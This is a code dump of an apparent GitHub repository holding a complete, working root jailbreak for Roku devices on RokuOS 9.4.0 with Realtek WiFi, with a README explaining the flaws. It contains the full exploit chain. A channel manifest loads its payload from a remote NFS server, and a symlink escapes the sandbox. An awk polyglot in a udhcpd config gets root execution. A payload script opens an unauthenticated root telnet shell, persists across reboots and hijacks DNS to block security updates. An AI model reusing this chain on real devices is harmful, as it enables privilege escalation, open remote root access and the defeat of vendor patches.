Full Code of llamasoft/RootMyRoku for AI

main 01111ee93967 cached
15 files
31.5 KB
8.6k tokens
1 requests
Download .txt
Repository: llamasoft/RootMyRoku
Branch: main
Commit: 01111ee93967
Files: 15
Total size: 31.5 KB

Directory structure:
gitextract_i6yt6_bi/

├── README.md
├── local/
│   ├── README.md
│   ├── components/
│   │   └── StatusScreen.xml
│   ├── manifest
│   └── source/
│       └── Main.brs
├── remote/
│   ├── README.md
│   ├── bootstrap.conf
│   ├── components/
│   │   ├── StatusScreen.brs
│   │   └── StatusScreen.xml
│   ├── manifest
│   ├── payload.sh
│   ├── resolv.sh
│   └── source/
│       └── Main.brs
└── server/
    ├── README.md
    └── setup.sh

================================================
FILE CONTENTS
================================================

================================================
FILE: README.md
================================================
# Root My Roku

A persistent root jailbreak for RokuOS v9.4.0 build 4200 devices using a Realtek WiFi chip.  
A big thank you to ammar2 and popeax from the [Exploitee.rs](https://exploitee.rs/) Discord for helping discover and develop this.

## Features

- Spawns a telnet server running as root on port 8023.
- Enables the low-level hardware developer mode.
- Adds many new secret screens and debug features to the main menu.
- *Blocks channel updates, firmware updates, and all communication with Roku servers.*

## Usage

1. Download any new channels you might want to use after the jailbreak.  
   Once you jailbreak your device, all communication with Roku's servers will be blocked.  
   Any channels you currently have installed should continue to work.  
   Please see the F.A.Q. below for details.
1. Enable [Developer Settings](https://developer.roku.com/docs/developer-program/getting-started/developer-setup.md#step-1-set-up-your-roku-device-to-enable-developer-settings) on your Roku device.
1. Download the latest `dev-channel.zip` from the [releases page](https://github.com/llamasoft/RootMyRoku/releases/latest).
1. Upload `dev-channel.zip` using the guide from the previous step.
1. Follow the prompts on screen, then reboot to jailbreak!

## Applications

* Using a Roku TV to drive ambient lighting: https://www.youtube.com/watch?v=V_enynuw-rc
  ([details](https://blog.ammaraskar.com/roku-tv-philips-hues/)).


## F.A.Q.

### Which devices does this affect?

Affected devices include _almost all_ Roku TVs and some Roku set-top boxes.  
In theory, any Roku device running RokuOS v9.4.0 build 4200 or earlier that uses a Realtek WiFi chip is vulnerable.  
You can check your current software version from Settings -> System -> About.  
While it is not possible to manually check your WiFi chip manufacturer, the channel
provided for this exploit will tell you if your device is vulnerable or not.

### Can this brick my device?

No!  It makes no changes to the underlying firmware that the device runs.  
If anything bad happens, a [factory reset](https://support.roku.com/article/208757008) will always recover your device.

### How do I un-jailbreak my device?

You have two options:
- Factory reset your device.  This will clear NVRAM and remove the jailbreak.
- Using the telnet server on port 8023, delete `/nvram/udhcpd-p2p.conf` and reboot.

### Is Roku aware of this exploit?

Some of the critical components required for the exploit chain no longer work in RokuOS v10.  
The NFS mount option that is used for arbitrary file modification gets disabled,
and the service used for persistence and privilege escalation is no longer used.

While RokuOS v10 has started rolling out, many devices have not received the update yet.

### Why does the jailbreak block communication with Roku servers?

This is a precautionary measure to prevent the jailbreak from being disabled or removed.  
In the past, Roku has taken some _creative_ measures to forcefully patch jailbroken devices.
One such example was an update to the screensaver channel that would check for a telnet service,
connect to it, and command it to un-root and update the device.

Unfortunately, the servers used for channel and firmware updates the same ones used
to communicate with Roku in general.  Blocking updates means that no new channels can
be installed and that certain features like "My Feed" and "Search" will no longer work.  
Applications that communicate with other services (e.g. YouTube, Netflix, HBO) will still work.

### How can I prevent my non-jailbroken Roku from updating?

Edit your modem/router's DNS settings to use the IP address of `dns.rootmyroku.com`.  
You can find the current IP address using `nslookup`, `dig`, or [online DNS lookup tools](https://dnstools.ws/lookup/dns.rootmyroku.com/A/).

### Why should I trust the code you execute on my device?

You don't have to!

All of the files required to reproduce this exploit are available in this repo:
- The local channel used to load the remote payload is available under `local`.
- The remote payload loaded over NFS is available under `remote`.
- The script used to create the NFS and DNS servers are available under `server`.


## Exploit Details

There's two main vulnerabilities that make this exploit possible: arbitrary file modification and privilege escalation.

RokuOS actually does a decently good job at sandboxing channels to prevent them from accessing the underlying filesystem.
In addition to running as a restricted user, a software sandbox, and a chroot jail, Roku's Linux kernel has
[grsecurity patches](https://grsecurity.net/) applied.  These patches mitigate common exploit techniques used in 
jailbreaks and privilege escalation.  Furthermore, the entire root filesystem is read-only and baked into the firmware.
Only persistent storage (NVRAM) and temp directories are writable.

### Arbitrary File Modification

Two things conspired to allow arbitrary file modification.  The first was that an undocumented `pkg_nfs_mount`
[channel manifest](https://developer.roku.com/en-gb/docs/developer-program/getting-started/architecture/channel-manifest.md) option.
This option was meant to reduce the software development lifecycle when creating a channel by allowing the channel's source code
to be hosted on a different machine using [NFS](https://en.wikipedia.org/wiki/Network_File_System).
This removes the need to re-package and re-upload channels after every code change.  
The second was a shortcoming of the grsecurity patches and the Linux kernel in general: symlinks over NFS act weird.
While grsecurity was configured specifically to not allow symlinking to directories owned by other users,
the ownership and permission checks no longer work properly when the symlink resides on an NFS mount.
This allows us to create a symlink in the remote channel's package that points to the root of the main filesystem.
(See [`remote/source/Main.brs`](/remote/source/Main.brs) for details.)  
This provided us with the ability to modify persistent storage and temp files, but only as the app user.

### Privilege Escalation

From there, we discovered that the process that configures udhcpd (a DHCP service used for pairing speakers and remotes)
for Realtek chipsets could be made to read a config file from NVRAM, a location that the app user has access to.
If we could leverage it properly, it would let us manipulate a service running as the root user and also give us a means
of persisting across reboots.  Thankfully, udhcpd has an option for executing a script (`notify_file`) with a single parameter (`lease_file`)
whenever a DHCP lease is created.  It wasn't perfect though: the udhcpd service would only run the script if it has the "execute" bit set.
While we could create arbitrary files using our previous exploit, we didn't have control over the file's permissions and
as a result, none of the payload scripts we create are marked as executable.  To make matters more difficult, we couldn't pass the
payload script as `lease_file` to the built-in shell executables because udhcpd would overwrite the script contents first.  
Ultimately, the solution involved creating a `lease_file` value polyglot that is both an AWK script and a legal file name.
(See [`remote/bootstrap.conf`](/remote/bootstrap.conf) for details.)

## Footnote

If anyone at Roku is reading this: you desperately need a _real_ bug bounty program.

Without one, there's little incentive to research and report vulnerabilities
when you're not sure if you'll be rewarded for your efforts or not.
While we took this project on for fun as a hobby, almost no professional
security researchers are going to dedicate as much effort as we did for a "maybe".


================================================
FILE: local/README.md
================================================
This is the source code for the "local" component of the jailbreak.  
When zipped and uploaded as a channel, this connects to the "remote" component of the jailbreak over NFS.

Key files:
- [`manifest`](./manifest) is the channel manifest that file enables the NFS mounting of the remote component.  
- [`source/Main.brs`](./source/Main.brs) is the BrightScript file that will execute if the NFS mount fails or is patched.

================================================
FILE: local/components/StatusScreen.xml
================================================
<?xml version="1.0" encoding="utf-8" ?>
<component name="StatusScreen" extends="Scene">
  <children>
      <Label
        id="statusLabel"
        text=""
        width="1280"
        height="720"
        horizAlign="center"
        vertAlign="center"
        wrap="true"
      />
  </children>
</component>


================================================
FILE: local/manifest
================================================
title=Root My Roku
major_version=9
minor_version=4
build_version=4200

##   Channel Assets
###  Main Menu Icons / Channel Poster Artwork
#### Image sizes are FHD: 540x405px | HD: 290x218px | SD: 214x144px
mm_icon_focus_fhd=pkg:/images/channel-poster_fhd.png
mm_icon_focus_hd=pkg:/images/channel-poster_hd.png
mm_icon_focus_sd=pkg:/images/channel-poster_sd.png

###  Splash Screen + Loading Screen Artwork
#### Image sizes are FHD: 1920x1080px | HD: 1280x720px | SD: 720x480px
splash_screen_fhd=pkg:/images/splash-screen_fhd.jpg
splash_screen_hd=pkg:/images/splash-screen_hd.jpg
splash_screen_sd=pkg:/images/splash-screen_sd.jpg

# This is where the magic happens.
# Normally Linux grsec prevents us from following symlinks to directories
# we don't own, but almost all of the grsec security checks fail when
# the symlink resides on an NFS mount.
# NOTE: pkg_nfs_mount requires an IP address, not a domain name.
#  The value below is the IP address that nfs.rootmyroku.com resolves to.
pkg_nfs_mount=193.122.148.131:/exports/940E04200


================================================
FILE: local/source/Main.brs
================================================
Sub Main()
    screen = CreateObject("roSGScreen")
    m.port = CreateObject("roMessagePort")
    screen.setMessagePort(m.port)

    scene = screen.CreateScene("StatusScreen")
    screen.show()

    m.status = scene.FindNode("statusLabel")
    m.status.text = "If you're seeing this, the NFS mount failed or the exploit was patched. :("
    Stop

    While True
        event = wait(30000, m.port)
        event_type = type(event)
        If event_type = "roSGScreenEvent" Then
            ' When the screen is closed, shut everything down.
            If event.isScreenClosed() Then
                Return
            End If
        End If
    End While
End Sub


================================================
FILE: remote/README.md
================================================
This is the source code for the "remote" component of the jailbreak.  ***This is where the magic happens.***  
The contents of this directory will be loaded over NFS by the "local" component.

Key files:
- [`source/Main.brs`](./source/Main.brs) is the BrightScript file that uses a symlink exploit to install the jailbreak files.  
- `root` a symlink used to access the device's internal storage.  
  This symlink can't be checked in or uploaded properly.  
  If you wish to reproduce this exploit yourself, you'll need to create it manually.  
  (Hint: `cd remote && ln -s / root`)
- [`bootstrap.conf`](./bootstrap.conf) is the udhcpd config used to bootstrap the jailbreak process.  
  This file is used only once, and only to execute the jailbreak payload after the first reboot.
- [`payload.sh`](./payload.sh) is the primary jailbreak payload.  
  It replaces the bootstrap udhcpd config with one that allows udhcpd to continue functioning normally.  
  It's also responsible for enabling developer mode, the telnet server, and the Roku-blocking DNS.
- [`resolv.sh`](./resolv.sh) blocks communication with Roku servers by updating the device's DNS settings.

================================================
FILE: remote/bootstrap.conf
================================================
# udhcpd allows you to specify an executable to notify whenever the lease file is updated.
# It will call the `notify_file` executable and pass `lease_file` as the only parameter.
# However, it has a few critical limitations:
#   - The `notify_file` target must have the execute bit set.
#     This is actually a major hurdle.
#     While we can copy/write to arbitrary files, we can't control
#     the resulting file's permissions.  As a consequence, the files
#     we write to /nvram always never have their execute bit set.
#   - udhcpd uses `execvp` to call `notify_file`, so we have access to
#     exactly ONE parameter (i.e. `lease_file`) regardless of whitespace.
#     This means things like `/bin/sh -c "commands to run"` won't work.
#   - The contents of `lease_file` will be overwritten before calling `notify_file`.
#     This means we can't use `/bin/sh /path/to/script.sh` because udhcpd
#     will clobber the contents of our script before it ever gets executed.
#   - The value of `lease_file` must be a path that udhcpd can write to.
#     If it fails to write to `lease_file` then it won't call `notify_file`.
#     The file itself doesn't need to exist in advance, but udhcpd can't
#     create directories so it must be placed somewhere udhcpd can write.

# The solution is an awk script + file path polyglot:
#   - Start with a pattern match (`/tmp/;`) that executes nothing.
#     This makes the entire awk script look like a file path under /tmp.
#     From this point on, we can no longer use front-slahes otherwise
#     it will be interpreted as subdirectories.
#     We work around this by creating a front-slash using sprintf
#     and using string concatination to generate a system command.
#   - awk normally reads input via file name arguments and/or stdin,
#     but udhcpd won't be passing any additional arguments.
#     This means that the core of the awk script must be inside a `BEGIN`
#     block which executes before any input processing takes place.
#     As a side note, we must manually exit awk.  If we reach the end of
#     the `BEGIN` block, it will hang when attempting to consume stdin.
#     This in turn causes udhcpd to hang waiting for `notify_file` to finish.
#   - Lastly, we need to manually chmod +x the exploit payload
#     because the execute bit will be missing.

# Behold!  (I'm actually pretty proud of this.)
notify_file /usr/bin/awk
lease_file /tmp/; BEGIN { fs=sprintf("%c",47); system("chmod +x "fs"nvram"fs"payload.sh && "fs"nvram"fs"payload.sh"); exit(0); }

# udhcpd calls `notify_file` whenever a new lease is created or every `auto_time` seconds.
# We need the exploit payload to run before Application launches.
# To accomplish this, we set the `auto_time` value to a small value
# so that it triggers very early in the boot process.
# The exploit payload will update the udhcpd config file
# so that the small `auto_time` value is only used once.
auto_time 1

# A fallback interface in case we couldn't find one during installation.
interface wlan1

# Make sure this file ends with an empty line.
# An `interface` line will be appended during startup
# and we need to make sure that it doesn't accidentally
# get appended to one of our directives.


================================================
FILE: remote/components/StatusScreen.brs
================================================

Sub init()
    m.status = m.top.FindNode("status")
    m.status.font.size = 36

    m.spinner = m.top.FindNode("spinner")
    m.spinner.poster.uri = "pkg:/images/spinner.png"
    m.spinner.poster.observeField("loadStatus", "moveSpinner")
    setBusyState(False)

    m.top.ObserveField("text", "onTextUpdate")
    m.top.ObserveField("busy", "onBusyUpdate")
    m.top.SetFocus(True)
End Sub

Sub onTextUpdate(event As Object)
    event_type = Type(event)
    If event_type = "roSGNodeEvent" Then
        m.status.text = event.GetData()
    End If
End Sub

Sub moveSpinner(event As Object)
    ' Relocates the spinner to the bottom right corner.
    ' We don't have access to the spinner's dimensions until the image finishes loading.
    If m.spinner.poster.loadStatus = "ready" Then
        screen_right = 1280 - m.spinner.poster.bitmapWidth * 1.25
        screen_bottom = 720 - m.spinner.poster.bitmapHeight * 1.25
        m.spinner.translation = [screen_right, screen_bottom]
    End If
End Sub

Sub onBusyUpdate(event As Object)
    setBusyState(event.GetData())
End Sub

Sub setBusyState(busy As Boolean)
    If busy Then
        m.spinner.poster.rotation = 0
        m.spinner.visible = True
        m.spinner.control = "start"
    Else
        m.spinner.visible = False
        m.spinner.control = "stop"
    End If
End Sub

Sub onKeyEvent(key As String, pressed As Boolean) As Boolean
    ' Observe and note all witness key events.
    ' This is done so the main method can "observe" our lastKeyEvent field
    ' because the main method has no direct access to onKeyEvent calls.
    m.top.lastKeyEvent = { key: key, pressed: pressed }

    ' Pretend like we didn't handle the key so the event propagates.
    Return False
End Sub

================================================
FILE: remote/components/StatusScreen.xml
================================================
<?xml version="1.0" encoding="utf-8" ?>
<component name="StatusScreen" extends="Scene">
  <children>
      <Label
        id="status"
        text=""
        width="1280"
        height="720"
        horizAlign="center"
        vertAlign="center"
        wrap="true"
      />
      <BusySpinner
        id="spinner"
        visible="false"
        control="stop"
      />
  </children>

  <interface>
    <field id="text" type="string" />
    <field id="busy" type="bool" />
    <field id="lastKeyEvent" type="assocarray" />
  </interface>

  <script type="text/brightscript" uri="pkg:/components/StatusScreen.brs" />
</component>

================================================
FILE: remote/manifest
================================================
title=Root My Roku
major_version=9
minor_version=4
build_version=4200

##   Channel Assets
###  Main Menu Icons / Channel Poster Artwork
#### Image sizes are FHD: 540x405px | HD: 290x218px | SD: 214x144px
mm_icon_focus_fhd=pkg:/images/channel-poster_fhd.png
mm_icon_focus_hd=pkg:/images/channel-poster_hd.png
mm_icon_focus_sd=pkg:/images/channel-poster_sd.png

###  Splash Screen + Loading Screen Artwork
#### Image sizes are FHD: 1920x1080px | HD: 1280x720px | SD: 720x480px
splash_screen_fhd=pkg:/images/splash-screen_fhd.jpg
splash_screen_hd=pkg:/images/splash-screen_hd.jpg
splash_screen_sd=pkg:/images/splash-screen_sd.jpg

splash_color=#000000
splash_min_time=1000

================================================
FILE: remote/payload.sh
================================================
#!/bin/sh

status() { echo "[$(date)]" "$@"; }
warning() { status "$@" 1>&2; }
fail() { warning "$@"; exit 1; }

exec >>"/tmp/payload.log" 2>&1


enable_developer_mode() {
    # Overlay /proc/cmdline to enable developer mode.
    # This unlocks all of the busybox commands like wget and telnetd.
    # If this takes place before Application starts, it also:
    #   - Unlocks debug and secret screens in the main menu.
    #   - Unlocks developer commands in the port 8080 debug terminal.
    if ! grep -qF "dev=1" "/proc/cmdline"; then
        status "Enabling developer mode"
        cmdline=$(cat "/proc/cmdline")
        printf "dev=1 %s" "${cmdline}" > "/tmp/cmdline"
        chmod 644 "/tmp/cmdline"
        mount -o bind,ro "/tmp/cmdline" "/proc/cmdline"

        # Given that we only enable developer mode once at boot,
        # take this opportunity to purge the current developer channel.
        # If we don't, it'll trigger an NFS mount every boot.
        # If the NFS mount fails, it can cause a boot loop.
        rm "/nvram/incoming/dev.zip"* 2>/dev/null
    fi
}

enable_telnetd() {
    if pgrep -f telnetd >/dev/null 2>&1; then
        return
    fi

    # Try different busybox binaries until we find one that works.
    # The system one should work if the developer overlay was successful,
    # but it never hurts to be careful.
    telnetd_started=0
    for busybox in "/bin/busybox" "/nvram/busybox" "/nvram/busybox-$(uname -m)"; do
        if [[ ! -e "${busybox}" ]]; then
            continue
        fi

        status "Starting telnetd from ${busybox}"
        chmod +x "${busybox}" >/dev/null 2>&1
        if "${busybox}" telnetd -l /sbin/loginsh -p 8023; then
            telnetd_started=1
            break
        fi
    done

    if [[ "${telnetd_started}" -ne 1 ]]; then
        warning "Failed to start telnetd :("
    fi
}

enable_custom_dns() {
    if pgrep -f "resolv.sh" >/dev/null 2>&1; then
        return
    fi

    # This custom DNS blocks communication with Roku's servers.
    # This disables logging, channel updates, and firmware updates.
    # See `resolv.sh` for details.
    status "Enabling custom DNS nameserver"
    chmod +x "/nvram/resolv.sh"
    nohup "/nvram/resolv.sh" >/dev/null 2>&1 &
}

enable_persistence() {
    # Check if we're using the bootstrapping config file.
    # If we are, we need to replace it with a fully functional one.
    # This restores actual udhcpd functionality for pairing speakers,
    # remotes, and other devices.
    restart_udhcpd=0
    script_path=$(readlink -f "$0")
    if ! grep -qF "${script_path}" "/nvram/udhcpd-p2p.conf"; then
        status "Replacing bootstrap udhcpd config"
        {
            # Base the new config file off the system default one,
            # but remove and replace the `notify_file` and `auto_time` values.
            grep -vF -e "notify_file" -e "auto_time" "/lib/wlan/realtek/udhcpd-p2p.conf"

            # Add the current script as the `notify_file` target.
            echo
            echo "notify_file ${script_path}"

            # Cause the `notify_file` target to be called early during boot.
            # This makes sure that our payload is run before the main Application starts.
            # See `bootstrap.conf` for details.
            echo "auto_time 1"

            # Make absolutely sure that the config file ends with an empty line.
            # See `bootstrap.conf` for details.
            echo
        } > "/nvram/udhcpd-p2p.conf"

        # udhcpd is currently running with the bootstrap config file.
        # We need to recreate the active config file by simulating
        # the changes made by `/lib/wlan/network-functions`.
        {
            cat "/nvram/udhcpd-p2p.conf"
            interface_name=$(cat "/tmp/p2p-interface-name" 2>/dev/null)
            if [[ -n "${interface_name}" ]]; then
                echo "interface ${interface_name}"
            fi
        } > "/tmp/udhcpd-p2p.conf"

        restart_udhcpd=1
    fi

    # Now that the initial payload has already run, we don't need to run as often.
    # If the active config still contains an `auto_time` value, remove it.
    # The default value for `auto_time` is 2 hours which is good enough.
    if grep -qF "auto_time" "/tmp/udhcpd-p2p.conf"; then
        status "Removing auto_time config value"
        sed -i "/auto_time/d" "/tmp/udhcpd-p2p.conf"
        restart_udhcpd=1
    fi

    if [[ "${restart_udhcpd}" -ne 0 ]]; then
        # We can't `pkill udhcpd` or we'll end up killing ourselves too.
        # We need to kill all instances of udhcpd except the brand new one.
        current_pids=$(pgrep udhcpd)
        status "Spawning replacement udhcpd"
        udhcpd "/tmp/udhcpd-p2p.conf"

        if [[ -n "${current_pids}" ]]; then
            status "Killing previous udhcpd instances"
            kill ${current_pids}
        fi
    fi
}

# Do our magic, then call the default udhcpd notify script.
enable_developer_mode
enable_telnetd
enable_custom_dns

# The persistence method must run last as it may restart udhcpd.
# This payload is launched by the current udhcpd, so it may kill us too.
enable_persistence

if [[ $# -gt 0 ]]; then
    status "Calling default notify handler"
    /lib/wlan/realtek/udhcpd-notify.sh "$@" >/dev/null 2>&1
fi


================================================
FILE: remote/resolv.sh
================================================
#!/bin/sh

status() { echo "[$(date)]" "$@"; }
warning() { status "$@" 1>&2; }
fail() { warning "$@"; exit 1; }

exec >>"/tmp/resolv.log" 2>&1

# This needs to point to a DNS server that blocks "roku.com" domains.
# Without this, system firmware updates (or even sneaky channel updates)
# can disable the persistent root jailbreak.
CUSTOM_DNS="dns.rootmyroku.com"

# Lock down the /tmp/resolv.conf file before anything else can modify it.
# This file is automatically generated once we connect to a network,
# but the process that handles it runs as the app user.
# By setting the ownership to root and disabling writes, we can prevent
# the application from overwriting our DNS settings.
touch "/tmp/resolv.conf"
chown root:root "/tmp/resolv.conf"
chmod 644 "/tmp/resolv.conf"

# If we have a `resolv.conf` saved from a previous boot,
# restore it while we check for an updated IP address.
if [[ -s "/nvram/resolv.conf" ]]; then
    last_resolv=$(cat "/nvram/resolv.conf")
    cp "/nvram/resolv.conf" "/tmp/resolv.conf"
    status "Restored previous DNS settings:"
    cat "/tmp/resolv.conf"
    ls -al "/tmp/resolv.conf"
    chown root:root "/tmp/resolv.conf"
    chmod 644 "/tmp/resolv.conf"
else
    last_resolv=""
fi

# In a perfect world we'd be able to put our custom DNS server's
# DNS name into /etc/resolv.conf and have it magically work.
# Instead, we'll ask a known-good DNS server the IP address of
# our custom DNS server so we can use that instead.
failing=0
while :; do
    if ! resp=$(nslookup "${CUSTOM_DNS}" "1.1.1.1"); then
        # This has a short retry delay so don't spam the logs.
        if [[ "${failing}" -ne 1 ]]; then
            warning "Failed to resolve ${CUSTOM_DNS}"
            failing=1
        fi
        sleep 3
        continue
    fi
    failing=0

    resolv=$(
        echo "${resp}" | sed -n '/^Name/,$p' | awk '/^Address/ { print "nameserver " $3; }'
    )
    if [[ -z "${resolv}" ]]; then
        warning "Resolved ${CUSTOM_DNS}, but found no addresses"
        sleep $(( 10 + RANDOM % 30 ))
        continue
    fi

    if [[ "${resolv}" != "${last_resolv}" ]]; then
        echo "${resolv}" > "/tmp/resolv.conf"
        cp "/tmp/resolv.conf" "/nvram/resolv.conf"
        last_resolv="${resolv}"

        status "DNS settings updated:"
        cat "/tmp/resolv.conf"
    fi

    # Network condition changes can cause the resolv.conf file to be reset.
    # Monitor the file to ensure the contents don't revert.
    delay=$(( 300 + RANDOM % 600 ))
    while [[ "${delay}" -gt 0 ]]; do
      if [[ "$(cat /tmp/resolv.conf)" != "${resolv}" ]]; then
          status "Refreshing resolv.conf"
          echo "${resolv}" > "/tmp/resolv.conf"
      fi
      sleep 3
      delay=$(( delay - 3 ))
    done
done


================================================
FILE: remote/source/Main.brs
================================================
Sub Main()
    m.port = CreateObject("roMessagePort")

    screen = CreateObject("roSGScreen")
    screen.setMessagePort(m.port)
    m.status = screen.CreateScene("StatusScreen")
    screen.show()

    m.spinner = m.status.FindNode("spinner")
    m.status.ObserveField("lastKeyEvent", m.port)
    m.status.text = "Press play to root your Roku or back to exit."

    While True
        event = Wait(30000, m.port)
        event_type = Type(event)

        If event_type = "roSGScreenEvent" Then
            ' When the screen is closed, shut everything down.
            If event.isScreenClosed() Then
                Return
            End If

        Else If event_type = "roSGNodeEvent" Then
            If event.GetField() = "lastKeyEvent" Then
                event_data = event.GetData()
                key = event_data["key"]
                pressed = event_data["pressed"]
                If key.StartsWith("play") And pressed Then
                    RootMyRoku()
                End If
            End If
        End If
    End While
End Sub


Sub Halt()
    m.status.busy = False
    While True
        Stop
        Sleep(1000)
    End While
End Sub


Sub RootMyRoku()
    m.status.busy = True

    ' Verify that the magic symlink exists and works.
    fs = CreateObject("roFileSystem")
    If fs.Stat("pkg:/root")["type"] <> "directory" Then
        m.status.text = "Sorry, root symlink missing or the exploit has been fixed. :("
        Stop
        Halt()
    End If

    ' Check that the device uses the vulnerable driver stack.
    wlan_driver = ReadAsciiFile("pkg:/root/tmp/wlan-driver").Trim()
    If wlan_driver <> "realtek" Then
        m.status.text = "WARNING: " + wlan_driver + " may not be vulnerable."
        Sleep(5000)
    End If

    m.status.text = "Installing the exploit bootstrapper..."
    Sleep(1000)
    bootstrap_config = ReadAsciiFile("pkg:/bootstrap.conf")
    default_config = ReadAsciiFile("pkg:/root/lib/wlan/realtek/udhcpd-p2p.conf")
    For Each line in default_config.Tokenize(Chr(10))
        If line.StartsWith("interface") Then
            bootstrap_config = bootstrap_config + Chr(10) + line + Chr(10)
        End If
    End For
    WriteAsciiFile("pkg:/root/nvram/udhcpd-p2p.conf", bootstrap_config)

    m.status.text = "Installing the exploit payload..."
    Sleep(1000)
    fs.CopyFile("pkg:/payload.sh", "pkg:/root/nvram/payload.sh")

    m.status.text = "Exploit ready!  Please reboot to trigger the payload."
    m.status.text = m.status.text + Chr(10) + "Settings -> System -> Power -> System Restart"
    Halt()
End Sub


================================================
FILE: server/README.md
================================================
This is the shell script used to create and configure the NFS and DNS server used by this jailbreak.  
You can use this script as a starting point if you wish to recreate the exploit yourself,
or to add extra functionality to the DNS server (e.g. ad blocking).

The shell script does _most_ of the work to set up the server, but some manual work will still be required:
- Purchasing and configuring a domain name to point to the server's IP address.
- Uploading the "remote" component to the NFS `/exports` directory.
- Creating the `root` symlink in the remote component.  (Hint: `cd remote && ln -s / root`)
- Updating the local component's `manifest` file to point to the server's IP address and NFS exports path.
- Updating the remote component's `resolv.sh` file to point to the server's DNS name.

================================================
FILE: server/setup.sh
================================================
#!/usr/bin/env bash

# Once the server setup is complete, you'll still need to do a few things:
#   1. Make sure the DNS and NFS mounts are accessible from the outside world.
#      Check your firewall settings and network routes.
#      If all else fails: `sudo iptables -I INPUT -j ACCEPT`
#   2. Upload the "remote" portion of the channel to "/exports/940E04200"
#   3. Create the magic symlink using the following command:
#      ( cd "/exports/940E04200" && ln -s "/" "./root"; )
#   4. Update the remote channel's `resolv.sh` script to point to this server.
#   5. Update the local channel's `manifest` file to point to this server's IP address.

# Tested and configured for Ubuntu LTS 20.04 Minimal.

status() { echo "[$(date)]" "$@"; }
warning() { status "$@" 1>&2; }
fail() { warning "$@"; exit 1; }

exec &> >(tee -a "/tmp/setup.log")


# Determine the current user's home directory from /etc/passwd.
# This is to work around the fact that some cloud init script
# run without a login shell.
if [[ -z "${HOME}" || -z "${USER}" ]]; then
    export USER=$(id --user --name)
    export HOME=$(getent passwd "${USER}" | cut -d":" -f6)
    status "Setting HOME to '${HOME}'."
fi
status "Script running as ${USER}."


status "Installing some basic utilities"
packages=(
    curl
    dnsmasq
    dnsutils
    fail2ban
    git
    htop
    iftop
    iotop
    jq
    less
    moreutils
    nfs-kernel-server
    rsync
    rsyslog
    screen
    vim
)
sudo apt-get update
sudo apt-get install -y --no-install-recommends "${packages[@]}"


status "Configuring fail2ban"
sudo sed -i "" -e 's/%(sshd_backend)s/systemd/' "/etc/fail2ban/jail.conf"
sudo systemctl enable fail2ban
sudo systemctl restart fail2ban


export NFS_DIR="/exports"
status "Creating NFS export at ${NFS_DIR}"
sudo mkdir --mode=1777 -p "${NFS_DIR}"
echo "${NFS_DIR} *(ro,async,no_subtree_check,insecure)" | sudo tee "/etc/exports" &>"/dev/null"
sudo systemctl enable nfs-kernel-server
sudo systemctl restart nfs-kernel-server

status "Configuring iptables for NFS"
for port in 111 1110 2049 4045; do
    for protocol in tcp udp; do
        sudo iptables -I INPUT -p "${protocol}" --dport "${port}" -j ACCEPT
    done
done


status "Disabling systemd-resolved"
sudo systemctl disable systemd-resolved
sudo systemctl stop systemd-resolved
cat <<RESOLV | sudo tee "/etc/resolv.conf" &>"/dev/null"
nameserver 1.1.1.1
nameserver 1.0.0.1
nameserver 8.8.8.8
nameserver 8.8.4.4
RESOLV


status "Configuring dnsmasq"
cat <<DNSMASQ | sudo tee "/etc/dnsmasq.conf" &>"/dev/null"
# Don't load the host's /etc/hosts or /etc/resolv.conf
no-hosts
no-resolv

# Allow remote connections, not just local ones
interface=*

# Basic security tweaks
bogus-priv
domain-needed

# Upstream DNS servers
server=1.1.1.1
server=1.0.0.1
server=8.8.8.8
server=8.8.4.4

# Block Roku and all subdomains under it
server=/roku.com/
server=/ravm.tv/

# Allow domains which are required to test for network connectivity
server=/captive.roku.com/#
server=/cigars.roku.com/#
server=/image.roku.com/#
DNSMASQ
sudo systemctl enable dnsmasq
sudo systemctl restart dnsmasq

status "Configuring iptables for dnsmasq"
for port in 53; do
    for protocol in tcp udp; do
        sudo iptables -I INPUT -p "${protocol}" --dport "${port}" -j ACCEPT
    done
done

status "Done"
Download .txt
gitextract_i6yt6_bi/

├── README.md
├── local/
│   ├── README.md
│   ├── components/
│   │   └── StatusScreen.xml
│   ├── manifest
│   └── source/
│       └── Main.brs
├── remote/
│   ├── README.md
│   ├── bootstrap.conf
│   ├── components/
│   │   ├── StatusScreen.brs
│   │   └── StatusScreen.xml
│   ├── manifest
│   ├── payload.sh
│   ├── resolv.sh
│   └── source/
│       └── Main.brs
└── server/
    ├── README.md
    └── setup.sh
Condensed preview — 15 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (34K chars).
[
  {
    "path": "README.md",
    "chars": 7717,
    "preview": "# Root My Roku\n\nA persistent root jailbreak for RokuOS v9.4.0 build 4200 devices using a Realtek WiFi chip.  \nA big than"
  },
  {
    "path": "local/README.md",
    "chars": 422,
    "preview": "This is the source code for the \"local\" component of the jailbreak.  \nWhen zipped and uploaded as a channel, this connec"
  },
  {
    "path": "local/components/StatusScreen.xml",
    "chars": 308,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n<component name=\"StatusScreen\" extends=\"Scene\">\n  <children>\n      <Label\n      "
  },
  {
    "path": "local/manifest",
    "chars": 1035,
    "preview": "title=Root My Roku\nmajor_version=9\nminor_version=4\nbuild_version=4200\n\n##   Channel Assets\n###  Main Menu Icons / Channe"
  },
  {
    "path": "local/source/Main.brs",
    "chars": 663,
    "preview": "Sub Main()\n    screen = CreateObject(\"roSGScreen\")\n    m.port = CreateObject(\"roMessagePort\")\n    screen.setMessagePort("
  },
  {
    "path": "remote/README.md",
    "chars": 1161,
    "preview": "This is the source code for the \"remote\" component of the jailbreak.  ***This is where the magic happens.***  \nThe conte"
  },
  {
    "path": "remote/bootstrap.conf",
    "chars": 3226,
    "preview": "# udhcpd allows you to specify an executable to notify whenever the lease file is updated.\n# It will call the `notify_fi"
  },
  {
    "path": "remote/components/StatusScreen.brs",
    "chars": 1737,
    "preview": "\nSub init()\n    m.status = m.top.FindNode(\"status\")\n    m.status.font.size = 36\n\n    m.spinner = m.top.FindNode(\"spinner"
  },
  {
    "path": "remote/components/StatusScreen.xml",
    "chars": 630,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n<component name=\"StatusScreen\" extends=\"Scene\">\n  <children>\n      <Label\n      "
  },
  {
    "path": "remote/manifest",
    "chars": 670,
    "preview": "title=Root My Roku\nmajor_version=9\nminor_version=4\nbuild_version=4200\n\n##   Channel Assets\n###  Main Menu Icons / Channe"
  },
  {
    "path": "remote/payload.sh",
    "chars": 5284,
